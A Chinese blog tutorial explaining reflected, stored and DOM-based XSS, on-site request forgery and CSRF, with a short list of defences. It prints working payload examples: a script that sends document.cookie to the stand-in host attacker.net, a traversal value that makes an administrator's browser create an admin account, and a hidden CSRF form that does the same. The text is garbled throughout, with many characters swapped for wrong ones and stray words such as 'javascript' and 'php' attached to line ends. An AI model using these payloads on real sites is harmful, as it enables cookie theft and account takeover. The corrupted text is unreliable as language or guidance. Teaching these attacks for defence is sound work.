差很少剛開始接觸前端的時候,常常能看到一些早幾年入行大牛們的簡歷,幾乎全部人都會在簡歷中帶上這麼一句話:具有基本的 Web 安全知識(XSS / CSRF)。顯然這已經成爲前端人員的必備知識。javascript
很是懷念那個 SQL 注入尚未被廣泛承認的年代,雖然這麼多年過去了,SQL 注入並無消失,仍然是最危險的漏洞。關於 SQL 注入的原理,能夠看我以前寫的文章SQL 注入詳解。今天是主題是 Web 安全的另外兩大殺手,XSS 和 CSRF。php
XSS 漏洞有多種形式,分爲三類,反射型、保存型和基於 DOM 的 XSS 攻擊。這些漏洞的基本原理都是同樣的,可是肯定和利用漏洞方面又存在很大的差別,下面將對這三種漏洞詳細介紹。html
前面廢話一大堆,仍是沒有說 XSS 漏洞究竟是什麼。若是一個 Web 程序能夠動態的顯示用戶的錯誤消息,就有可能會產生反射型漏洞。前端
用戶瀏覽網頁時發送錯誤,向服務器請求 URL,好比www.xxx.com/error.php?message=sorry,an error occurred
,而後服務器根據獲得的 message,不進行過濾,複製到錯誤頁面的模板中:<p>sorry,an error occurred</p>
,返回給用戶。java
這個漏洞有一個顯著的特徵,應用程序沒有進行任何過濾或淨化措施,就很是容易受到攻擊。www.xxx.com/error.php?message=<script>alert(1)</script>
,當用戶打開錯誤頁面時,就會出現<p><script>alert(1)</script></p>
,彈出一個消息框。git
顯然,攻擊人員不會很傻的僅僅 alert 一些消息,在 IE 中,若是開啓跨站點腳本檢測可能沒法彈出消息。一般 XSS 都會伴隨着會話劫持,攻擊者截獲經過驗證的用戶的會話令牌。劫持用戶的會話後,攻擊者就能夠訪問該用戶受權訪問的全部數據和功能。算法
好比攻擊者構造一個這樣的 URL,message 信息以下數據庫
var i = new Image; i.src="http://attacker.net/"+document.cookie;
這樣被攻擊者經過訪問這個惡意的 URL,就會把 cookie 發送給黑客,黑客截獲 cookie,就能執行用戶的任意操縱。下圖是一個簡易的流程圖:後端
這個圖還有一個重要的點沒有標明出來,就是前提是受害者要先登陸到 Bank.com 的網站上。瀏覽器
因爲瀏覽器的同源策略,直接向 attacker.net 發送 document.cookie 是沒法得到 www.xxx.com 的 cookie,由於瀏覽器會對不一樣源(域)的內容進行隔離,這就是該漏洞被稱爲跨站腳本的緣由。
保存型跨站腳本也是比較常見的漏洞,腳本一般保存在後端數據庫中,不通過濾就存儲而且顯示給用戶,此時就會出現這種漏洞。
與反射型的流程不一樣的是,保存型須要向服務器提出至少兩次請求,第一次將含有惡意代碼的數據提交給服務器,服務器將數據保存,第二次是受害者想服務器提出訪問含有惡意代碼數據的頁面,惡意代碼執行。
與反射型不一樣的是,保存型不須要一個專門設計的 URL 來接收 cookie,只須要將含有惡意代碼的頁面發給用戶,等待受害者訪問便可。不過,也可用保存型的漏洞來獲取用戶 cookie 進行劫持。
還有一個不一樣點,反射型的漏洞,必需要等受害者登錄後,才能保證 cookie 的正常得到,而保存型的漏洞,受害者通常是先登陸,而後訪問改站點有危險的頁面。
舉一個例子,好比某社交論壇存在保存型的 XSS 漏洞,黑客將本身的我的信息一欄修改爲惡意的 JS 代碼,改代碼實現兩個功能,首先受害者加本身爲好友,其次修改受害者的我的信息爲該惡意代碼。黑客把我的信息保存並提交給服務器,只須要等受害者訪問本身的我的信息頁面,瀏覽器就會執行該惡意腳本,因而可怕的「蠕蟲」就開始了。
前兩種 XSS 漏洞,都表現一種特殊的模式,就是應用程序提取數據並返回給受害者,而基於 DOM 的 XSS 不具備這種特色,攻擊者是藉助於 JavaScript 來展開攻擊的。
用戶請求一個通過專門設計的 URL,由攻擊者提交,包括嵌入式的 JavaScript;
服務器的響應不包含任何攻擊者的腳本,同時服務器也不會對 URL 進行檢測;
當用戶瀏覽這個響應時,腳本得以處理。
與反射型漏洞相似,都是對 URL 進行特殊構造,不一樣的是,反射型是由服務器處理 URL,而 DOM 型是由 JavaScript 腳原本處理。還以剛纔那個反射型爲例子,假設應用程序返回的錯誤頁面包含如下 JS 腳本:
<script> // www.xxx.com/error.php?message=sorry,an error occurred var url = document.location; var message = /message=(.+)$/.exec(url)[1]; document.wirte(message); //或者 document.getElementById("show").innerHTML = message; </script>
一樣給受害者發送這樣的連接 www.xxx.com/error.php?message=<script>alert(1)</script>
,也能夠開展 XSS 漏洞攻擊。基於 DOM 的漏洞不侷限與 URL,還能夠是頁面某個 DOM 的內容,這和存儲型的 XSS 又聯繫到一塊兒。
這個時候就須要些 JS 的同窗當心謹慎了,萬一寫出含有漏洞的代碼,這鍋得本身背。
在 XSS 跨站攻擊中,攻擊者須要得到受害者的會話令牌,請求僞造也與會話劫持相關,可是攻擊者不須要知道受害者的會話令牌,就可以行駛「受害者」的權利。請求僞造有兩種,本站點請求僞造(OSRF)和跨站點請求僞造(CSRF),
OSRF 是一種利用保存型 XSS 漏洞的攻擊載荷,若是在得知應用程序對 XSS 漏洞過濾的狀況下,能夠嘗試 OSRF 攻擊。
好比這是一個某站點 POST 請求,該站點過濾 XSS 攻擊,
POST /submit.php Host: xxx.com Content-Length: .. type=question&name=ge&message=mes
而後該信息將會被插入到以下的 HTML 中:
<tr> <td><img src="/images/question.jpg"></td> <td>ge</td> <td>mes</td> </tr>
這個漏洞很容易利用,直接用 type 的值來表示 jpg 的name,而後咱們構造 type 的值等於下面的內容(這不就是利用路徑來搞事嗎),
../admin/newuser.php?username=test&password=123&role=admin#
使用上面的介紹,相對應的構造一個表單提交,建立一個管理員權限的用戶,普通用戶點擊是不會成功的,由於權限不夠,可是若是是管理員點擊該連接的話,就會建立一個祕密帳戶,因此,即時對 URL 禁用了 JavaScript 腳本,仍是能夠經過 OSRF 攻擊成功。
在攻擊字符串的最後使用了 # ,是爲了對 .jpg 進行屏蔽,也能夠添加 & 組成另外一個參數。
以上即是一個簡單的本站點請求僞造的例子。
跨站點請求僞造纔是跨站僞造的重點內容,攻擊者只須要建立一個看似無害的網站,導致受害者的瀏覽器直接向易受攻擊的服務器提交一個請求,執行惡意代碼。
仍然須要考慮同源策略,仍然以管理員建立新用戶爲例,
POST /newUser.php HTTP/1.1 Host: xxx.com Cookie: SessionId=... Content-Length: .. name=ro&userrole=admin&password=123456&confirmpassword=123456
黑客構造的網站會提交一個 form 表單,並想辦法讓 form 隱藏:
<<!DOCTYPE html> <html><body> <form action="http://xxx.com/newUser.php" method="POST"> <input type="hidden" name="name" value="ro"> <input type="hidden" name="userrole" value="admin"> <input type="hidden" name="password" value="123456"> <input type="hidden" name="confirmpassword" value="123456"> </form> </body></html>
當管理員已經登錄的狀況下,訪問這個惡意網站的時候,就會提交這段腳本,管理員都不知情。由於管理員已經登錄,無需考慮 Cookie 的問題,一個簡單的 CSRF 如此。
其實攻擊很簡單,主要的仍是如何防護,好比
對一些關鍵字和特殊字符進行過濾或 URL、HTML 編碼,"<>?"或"script,javascript";
Cookie 防盜,在 Cookie 中防止放入用戶名和密碼,對 Cookie 信息進行 MD5 等算法進行屢次散列存放,必要時還要對 ip 和 cookie 進行綁定,一旦檢測異常,立馬讓用戶從新登陸;
嚴格控制 URL 訪問,對於一些掛馬的 ip 和域名,強制沒法訪問;
等等
共勉。
跨站腳本攻擊介紹
那些年咱們一塊兒學 XSS
總結 XSS 與 CSRF 兩種跨站攻擊
書籍:《黑客攻防技術寶典 Web實戰篇》
歡迎來我博客交流。